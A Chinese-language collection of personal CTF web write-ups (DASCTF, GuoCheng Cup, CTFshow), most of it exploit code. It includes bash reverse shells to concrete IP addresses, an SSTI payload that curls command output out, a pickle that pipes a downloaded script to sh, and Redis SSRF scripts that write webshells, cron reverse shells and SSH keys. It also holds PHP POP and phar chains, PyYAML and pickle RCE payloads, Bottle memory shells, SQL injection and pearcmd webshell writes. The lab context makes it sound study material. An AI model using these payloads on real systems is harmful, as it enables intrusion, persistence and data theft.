那我们直接写到文件再读就可以了,不难想到直接拼接就行了,有空格的话找 %09 过就行。

给一个反弹 shell 的payload吧:

1
print '#!/bin/bash\n\nbash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1"' > payload.sh;chmod 777 payload.sh;./payload.sh;

但实在是太多 waf 了,所以这么弹不太行,所以我们考虑能出网的话直接 wget 脚本/带出数据吧。

但是不知道为什么这傻鸟环境无法出网。

DASCTF X GFCTF 2024|四月开启第一局

cool_index

又是 js 题,考察 js 语言特性的。

js 中的比较,如果类型不相同会转换成相同类型。可以试一下 console.log(Number("7ss")),可以发现 NaN,而 NaN 跟任何整数比都是小的,从而绕过这段逻辑,只有经过 parseINT() 才转成正确的数字。

所以这题压根跟什么高级会员没关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

EasySignin

无法复现,登录都进不去,题目内容就是 gopherus 打无密码的 mysql

mysql读写文件命令:

select '<?php phpinfo();?>' into outfile '文件路径';

select load_file('文件路径')

2022DASCTF MAY 出题人挑战赛

签到题,cookie.user=1

魔法浏览器

签到题,改一下UA。

getme

历史漏洞,又弹不上 shell,下一个。

DASCTF2022.07赋能赛

Ez to getflag

这题可以用 phar 反序列化做,链子不长如下,然后再压缩一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$test = new Test();
$show = new Show();
$upload = new Upload();

$upload->fname = $show;
$upload->fsize = "phpinfo";
$test->str = $upload;


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");

$phar->setMetadata($test);
$phar->addFromString("exp.txt","exp");//生成签名的参数可以随便填
$phar->stopBuffering();

当然其实没啥必要的,因为直接可以读 /flag

Harddisk

哦所有的靶机都不出网,所以,只能构造一下 payload 了,很烦。

过滤挺多的 但是方括号 attr 都没过滤,还挺好,关键字过滤其实 unicode 或者 hex 绕一下就行,问题不大。然后 双花括号 和 print 都被过滤的情况下,只能用 if end if 但是没回显,只能出网了吧。

payload:

1
2
3
4
5
{%
if
()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(219)|attr("__init__")|attr("__globals__")|attr("__getitem__")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%
endif
%}

DASCTF X GFCTF 2022十月挑战赛!

EasyPOP

又是 pop 链。

从哪开始想起呢。

就从 invoke 触发是结尾吧,想触发 invoke 就得找自定义函数触发点,现在陷入僵局了。不过没事就正着推,从 destruct 推起,然后推到 echo 肯定想 tostring 了,tostring 能走到一个 secretcode.show 然后走到 show 发现就可以找到 get 了,get 触发了 invoke,perfect。

其实走到 show 的时候也在想,如果走到 一个 call 得不得行,哦那其实不行,因为 call 那个 secrectcode 这个类有 show 方法。

还需要绕一下 wakeup 把总数调大点就行。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<?php
//highlight_file(__FILE__);
//error_reporting(0);

class fine
{
public $cmd;
public $content;
//
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
//
// public function __invoke()
// {
// call_user_func($this->cmd, $this->content);
// }
//
// public function __wakeup()
// {
// $this->cmd = "";
// die("Go listen to Jay Chou's secret-code! Really nice");
// }
}

class show
{
public $ctf;
public $time = "Two and a half years";




// public function __toString()
// {
// return $this->ctf->show();
// }



}

class sorry
{
public $name;
public $password;
public $hint = "hint is depend on you";
public $key;

// public function __construct($name, $password)
// {
// $this->name = $name;
// $this->password = $password;
// }

// public function __sleep()
// {
// $this->hint = new secret_code();
// }

// public function __get($name)
// {
// $name = $this->key;
// $name();
// }


// public function __destruct()
// {
// if ($this->password == $this->name) {
//
// echo $this->hint;
// } else if ($this->name = "jay") {
// secret_code::secret();
// } else {
// echo "This is our code";
// }
// }


// public function getPassword()
// {
// return $this->password;
// }
//
// public function setPassword($password): void
// {
// $this->password = $password;
// }


}

class secret_code
{
public $code;

// public static function secret()
// {
// include_once "hint.php";
// hint();
// }
//
// public function __call($name, $arguments)
// {
// $num = $name;
// $this->$num();
// }
//
// private function show()
// {
// return $this->code->secret;
// }
}


$secret_code_=new secret_code();
$sorry2 = new sorry();
$sorry_ = new sorry();
$show_ = new show();
$fine_ = new fine("system","tac /f*");

// $sorry_-> name = &$sorry_->password;
// $sorry_->hint = $show_;//destruct->show.tostring
// $show_->ctf = $secret_code_;//show.tostring -> secrectcode.show
// $secret_code_->code = $sorry2;//secrect.show ->sorry.get
// $sorry2->key= $fine_;//sorry.get->fine.invoke

$sorry2->key= $fine_;
$secret_code_->code = $sorry2;
$show_->ctf = $secret_code_;
$sorry_->hint = $show_;
$sorry_-> name = &$sorry_->password;

$S = serialize($sorry_);

echo $S;

hade_waibo

这道题还是挺有意思的,phar 配合 php反序列化。

首先肯定是发现任意文件读取了,然后自然就想到看一下源码都是什么东西,发现存在反序列化和 file_get_contents,就可以开始了。

首先肯定是想想怎么 pop 链或者说魔术方法链的调用顺序。

发现了两个 wakeup 这可咋办呢,版本大了,也不能用那种调大数组值的方法绕过了,但是没事,你发现如果把 test 作为 user 的一个属性,然后反序列化 user,调用顺序是这样的。

test.wakeup->user.wakeup->user.destruct->test.destruct 也就是说从里往外调用,从里往外回收,不信可以用下面代码跑一下。

所以说我们可以不管 test.wakeup 到底给 value 赋值多少,我们只需要让 test.value 的指针和 user.username 的指针相同,那么我们在 user.wakeup 的时候自然也就改掉了 test.value,这样在 test.destruct -> test.backdoor 的时候就能正确传值了。

user.wakeup 的逻辑显然就是把 SESSION["username"] 赋值给了 user.usernametest.value,那么我们就可以传 user.username 为你想要执行的指令(无数字字母),比如 . ./*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class C1{
public $arg1;

function __destruct()
{
echo "C1.destruct is doing things.".PHP_EOL;
}

function __wakeup()
{
echo "C1.wakeup is doing things.".PHP_EOL;
}
}


class C2{
public $arg1;

function __destruct()
{
echo "C2.destruct is doing things.".PHP_EOL;
}

function __wakeup()
{
echo "C2.wakeup is doing things.".PHP_EOL;
}
}

//$c1=new C1();
//$c2=new C2();
//
//$c1->arg1=$c2;


//echo serialize($c1);
unserialize('O:2:"C1":1:{s:4:"arg1";O:2:"C2":1:{s:4:"arg1";N;}}');

EasyLove

首先读一下 hint 吧。好像貌似必须从根目录读。

读到了 redispasswd=AUTH 20220311,查一下发现是需要用 SSRF 打 redis。

这个 destruct 很有趣啊,居然可以自定义实例化的类,那这不得不想到一些原生类反序列化了。

Soap 类,可以在 call 发包,欸这里就有一个未定义方法,你说巧不巧。

随便用一个参数带出去吧,比如用 uri,可以在自己 vps 上试一下的,就是会有一个 SOAPAction: "http://123.57.107.33:6379/#sss",的协议头数据,那么前后两行闭合一下引号,中间传数据就行。

1
2
3
4
5
AUTH 20220311
CONFIG SET dir /var/www/html
SET x '<?@eval($_POST[1]);?>'
CONFIG SET dbfilename a.php
SAVE

就是写一下文件。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$C = new swpu();

$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename a.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello'.PHP_EOL.$poc0.PHP_EOL.$poc.PHP_EOL.$poc1.PHP_EOL.$poc2.PHP_EOL.$poc3.PHP_EOL.'hello');
$C->wllm = "SoapClient";
$C->arsenetang = null;
$C->l61q4cheng = $a;
echo urlencode(serialize($C));
//$love = new SoapClient(null,$a);
//$love->sss();

然后写文件成功了。

发现权限不够。

find / -user root -perm -4000 -print 2>/dev/null

带有SUID权限位的提权方法 - 隐念笎 - 博客园

date -f /hereisflag/flllll111aaagg

redis

写webshell

payload:

1
2
3
4
5
6
flushall
AUTH 20220311
CONFIG SET dir /var/www/html
SET x '<?@eval($_POST[1]);?>'
CONFIG SET dbfilename a.php
SAVE
1
2
3
4
dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.13.144.12" // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
写计划任务

payload:

1
2
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
1
2
3
4
5
flushall
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1
2
3
4
flushall
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
1
2
3
4
5
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/crontab/root
config set dbfilename root
save
写公钥私钥连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mkdir -p ~/.ssh  # 创建目录
chmod 700 ~/.ssh # 设置权限
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx


config set dir /root/.ssh/ # 设置存储目录为 SSH 密钥目录
config set dbfilename authorized_keys # 设置文件名为 authorized_keys
save # 强制保存,写入公钥


cd /root/.ssh/
ssh -i id_rsa root@目标IP
主从复制

Ubuntu上安装docker的详细教程、docker常用命令介绍_ubuntu安装docker-CSDN博客

Redis基于主从复制的RCE 4.x/5.x 复现-CSDN博客

1
2
3
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
python3 redis-rce.py -r targetip -L yourip -f exp.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

BlogSystem

最开始是个 flask 框架,然后找到了 secrect_key,用 flask-session 伪造一下就完事儿了,进 admin 发现任意文件读取,然后就读到了 /app/app.py

模块导入如下:

1
2
3
4
5
6
7
8
9
10
11
from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')

其实大概可以看一下,那些目录在的无非就在 /app/index.py,/app/blog.py,/app/model/index.py,/app/model/blog.py,/app/view/index.py,/app/view/blog.py,要是不确定的话也可以进各个目录的 /app/xxx/__init__.py 看一下。

然后读到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:

with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)

发现了 yaml.load

yaml反序列化:

SecMap - 反序列化(PyYAML) - Tr0y’s Blog

PyYaml反序列化漏洞详解-先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")

!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('whoami')"

!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"')"

但是本题有 waf,用上传文件绕吧。

img

1
!!python/module:uploads.exp 这里的 exp  恶意文件 /uploads/exp.py

DASCTF 2024最后一战

const_python

RCE

src 下载一下源码,是 pickle 反序列化,但ban 掉了一些东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']

sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:

pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"

pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"

好的地方是在于有回显,这次知道有没有 load 成功了。

复检一下 pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import os
import pickle
class A():

def __reduce__(self):
return os.system,("whoami",)

a = A()
a=pickle.dumps(a)
a=base64.b64encode(a).decode()
print(a)

b = base64.b64decode(a)

pickle.loads(b)

本题 ban 掉不少东西。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import pickle
import subprocess


class A():
def __reduce__(self):
return subprocess.check_output,(["cp","/flag","/app/app.py"],)
# return subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True}
# 这里 -c 表示附加到文件后,而不是覆盖。
a = A()
a=pickle.dumps(a)


a=base64.b64encode(a).decode()
print(a)

接管任意函数

pickle&types.CodeType实现接管任意函数-先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
p1= b'''cbuiltins
getattr
p0
c__main__
index
p3
g0
(g3
S'__code__'
tRp4
I0
p5
I0
p6
I0
p7
I0
p8
I5
p9
I67
p10
c_codecs
encode
p33
g33
(Vt\x00d\x01d\x02d\x03d\x04\x8d\x03\xa0\x01\xa1\x00S\x00
S'latin-1'
tRp11
(NS'/etc/passwd'
S'r'
S'utf-8'
(S'encoding'
ttp12
(S'open'
S'read'
tp13
)p14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
I7
p17
g0
(g4
S'co_lnotab'
tRp18
)p19
)p20
ctypes
CodeType
(g5
g6
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''

import base64
encrypted_p1 = base64.b64encode(p1)
print(encrypted_p1)

yaml_matser

无回显的 yaml

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"

DASCTF 2025下半年赛|矩阵博弈,零度突围

SecretPhotoGallery

入口就是一个 Sqlite 注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=a&password=1'+UNION+SELECT+1,+'admin',+'123'+--

跳转到 gallery.php 发现要伪造 JWTtoken,伪造的只能进 gallery.php 进不了 admin.php

信息搜集+fuzz得到 key:GALLERY2024SECRET

或者这么拿到:

image-20251207194726051

最后打 pearcmd.php 秒了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1
Host: 1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81/admin.php
Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjUwMDAzNjF9.E48cncg1FJcq5Gbj_KhhxUCXDPlOkGxfaCFW2atHgBY
Upgrade-Insecure-Requests: 1
Priority: u=0, i

action=export&filepath=/usr/local/lib/php/pearcmd.php

image-20251206141424103

devweb

分析一下,前端js,直接登录给我眺localhost去了,自己改链接吧,然后还要RSA加密一下密码,publickey给了。

image-20251206160948665

image-20251206155701242

跟着跳过来,你会发现根本打不开,貌似作用就是给你段cookie然后让你接着想。

在 index.js 里全局搜 download,你会发现你可以下载一个 app.jmx。

image-20251206161023207

image-20251206160617270

问一下 ai 他是干嘛的:

app.jmx 是一个 JMeter 测试脚本。

找到 salt 参数的核心生成逻辑了,复现一下。

1
2
3
4
5
6
7
8
9
def generate_sign(filename, salt):
"""Generate signature using the leaked algorithm."""
# Algo: MD5( MD5(filename) + MD5(filename)[5:16] + SALT )
print(f"[*] Generating signature for '{filename}'...")
first_md5 = hashlib.md5(filename.encode()).hexdigest()
jie_str = first_md5[5:16]
raw_str = first_md5 + jie_str + salt
sign = hashlib.md5(raw_str.encode()).hexdigest()
return sign

目录穿越读flag。

image-20251206160802636

国城杯

2024”国城杯”网络安全挑战大赛决赛

mountain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
import os
import base64

class test():
def __init__(self):
self.username=0
self.password=0
def login(self,username,password):
return username=='admin' and password=='123456'
#类似php里的__wakeup__魔术方法
#返回一个元组,第一个成员是回调函数,第二个成员是回调函数的参数
def __reduce__(self):
print('reduce')
return os.system,('curl https://your-shell.com/124.222.136.33:1337 |sh',)

a=test()
#生成字节流
serialize=pickle.dumps(a)
payload=base64.b64encode(serialize)
print(payload)

这里 reduce 就相当于 wakeup 然后只不过把参数写在函数里了,直接进序列化了,而不是像 php 那样只能写属性值。

这个题就是 pickle 反序列化。

先扫一下目录发现存在任意文件读取,用 /proc/1/cmdline 读一下当前运行的文件,读到目录之后,看一下源码,通过 import 读一下 python 文件,然后进去找到 pickle 的 key。

然后访问一下,wp说能看出来 COOKIE 是 pickle,但是我第一次做看不出来。不过点一下源码进去会发现 bottle.request 可以打 pickle。

image-20250927173454230

那就起一个服务自己打吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from bottle import Bottle, route, run, template, request, response
import os

Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1"')""",))

@route("/hello")
def hello_world():
try:
session = {"name": Test()}
response.set_cookie("name", session, secret=Mountain)
return "ok"
except:
return "hacker!!! I've caught you"

if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8089)

后面就是反弹shell了。

说到 bottle,搞两个内存马吧。

/memshell?cmd=app.add_hook('before_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("echo 1").read().encode('utf-8')).decode('utf-8')))

/memshell?cmd=app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

就是在 before_request 和 after_request 上加钩子。

CTFShow系列

元旦水友赛

CTFshow元旦水友赛官方WP

easy_include

1
2
3
4
5
6
7
8
9
<?php

function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}

要求必须字母开头,用 file://localhost/path 绕。

解法 1

session 文件包含。

原理就是 服务器会在tmp目录下按照 sess_ + session名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/"

data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}

file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}

response = requests.post(url=url, data=data, files=file, cookies=cookies)
print(response.text)

解法2

pearcmd.php 执行包含。(peclcmd 等价)

使用条件:

1
2
3
4
5
6
7
1.[7.3版本前默认安装]安装了pear扩展(pear就是一个php扩展及应用的代码仓库,未安装pear扩展的话就没有pear.php文件可利用)

2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)

3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)默认为Off【Docker环境下的PHP会开启】

4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制

argcargv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。

1
2
3
4
5
<?php
$a=$_GET['a'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。

POST 中传 1=localhost/usr/local/lib/php/pearcmd.php

GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php

原参数命令:

1
2
3
config-create: must have 2 parameters, root path and filename to save as
pear config-create /<?=@eval($_POST[1]);?> /tmp/leekos.php # 第一个需要带一个 / 因为必须是路径(Root directory must be an absolute path beginning with "/")
?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php

注意这个必须在 GET 中传才可以哦!

并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。

常规 exp:

1
2
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/var/www/html/shell.php
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]/index.php download马 需要出网

easy_login

参数名:show_show.show 绕过,这个老掉牙了,就是 php 一些替换特性,他会替换 ,+[ 等特殊符号为 _,但要是第一个是 [ 就会停止替换。

然后再看一下 waf。

waf1 对 REQUEST 中参数值不能出现字母,REQUEST 特性就是优先级 POST>GET,所以只需要 POST 传相同就可以过。

waf2 是不能出现 show,URL编码可以绕过。

看一下反序列化利用链:

1
ctf::__destruct -> show::__call --> Chu0_write::__toString

if ($this->chu0===$this->chu1) 引用绕过,其实不绕好像也可以的。

1
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){     unserialize($_GET['show_show.show']); 

SplStack() 绕。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class ctf{
public $h1;
public $h2;


}

class show{
}

class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
}

$a = new ctf();
$b = new chu0_write();
$b->chu1 = &$b->chu0;
$c = array('','',$b);
$a->h2 = array($c);
$a->h1 = new show();
$d = new SplStack();
$d ->push($a);
echo serialize($d);

好了现在走到 toString 了。

image-20251017155525506

下一步就是垃圾字符的去除,由于 b64 次数被限制为 1 ,所以不能用多次解编码的b64。但是实际上 b64 也可以通过这样的多次解编码来剔除垃圾字符。

b64 多次解码去除垃圾字符

b64的本质原理其实是 3编4,缺就补 =,并且解码的时候只有 0-9 a-z 才会操作,所以说倘若垃圾字符一次 b64 解码之后全部变成乱码了,那么它在第二次解码的时候就相当于不存在。

但是但是,有些 很不巧的 就是解码之后它还存在,哪怕存在一个或两个,由于 b64 是 3编4,4解3,都会造成最后结果都是乱码。

所以说我们只需要构造一个四的倍数,并且解码前缀是垃圾字符解码后存在,并且 b64 编码之后是乱码的,这样的字符串,从而再次解码的时候是乱码。

image-20251017164429378

这里会解码出来 r0,那么我们用能再次解码后能变成乱码的组成来 4 解 3,这里我们用 r0AV,但是要注意的是,原字符串长度为 18,我们应该补足为 4 的部分,也就是20,(这里用aa补,解码之后不会产生新的正常字符)再加4个字符 编 3 后为 AV 再带上一个非码区的字符,就弄一个 @ 吧。

也就是先加上 aa 变成20长度,这下就正正好好变成 r0,然后我们再加 4 个字符 QVZA,4 编 3 变成 AV@(实际上有用的就是 AV),这样二次解码之后就解码的是 r0AV,也就是解码成乱码。

image-20251017165024889

这样后面的东西就彻底正常解码了。

那么对于本题,看看其他的过滤器,比如 u8,u16,经过这两步转换后,每个字符后面都会带有一个不可见字符 \0,如果存在 \0 则正常解码,不存在则变成乱码,不过这个不可见字符需要进行 convert.quoted-printable-decode,(因为 file_put_contents 不能接受空字节),最后再进行 b64 解码的时候,而b64 会选择那些符合它字符集的字母:0-9a-z 进行解码,从而就可以实现垃圾字符的去除。

这是用 quoted-printable-encode 后的字符变化:

image-20251017160933618

垃圾字符去除脚本:

1
2
3
4
5
6
7
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
